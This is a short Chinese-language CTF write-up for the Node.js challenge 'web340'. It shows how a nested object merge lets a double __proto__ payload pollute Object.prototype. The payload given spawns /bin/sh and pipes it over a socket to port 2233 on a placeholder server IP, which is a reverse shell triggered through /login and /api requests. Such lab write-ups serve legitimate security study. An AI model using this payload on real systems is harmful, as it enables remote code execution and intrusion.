nodejs/v10.19.0
题目描述处蓝奏云下载源码
web340.zip
提取关键部分
var flag='flag_here';var user = new function(){this.userinfo = new function(){this.isVIP = false;this.isAdmin = false;this.isAuthor = false;};}utils.copy(user.userinfo,req.body);if(user.userinfo.isAdmin){res.end(flag);}

发现 userinfo 的原型不是 Object 对象, userinfo.__proto__.__proto__ 才是 Object 对象。
和 web339 一样,只不过要套两层才能污染 Object 对象,同样用原生 socket,服务端监听端口为 2233 (
{"__proto__":{"__proto__": {"query": "return (function(){var net = global.process.mainModule.constructor._load('net'),cp = global.process.mainModule.constructor._load('child_process'),sh = cp.spawn('/bin/sh', []);var client = new net.Socket();client.connect(2233, '服务器IP', function(){client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);});return /a/;})();"}}}
同样 POST 一下 /login 接口污染 query 对象
POST 一下 /api 接口触发
获取 flag
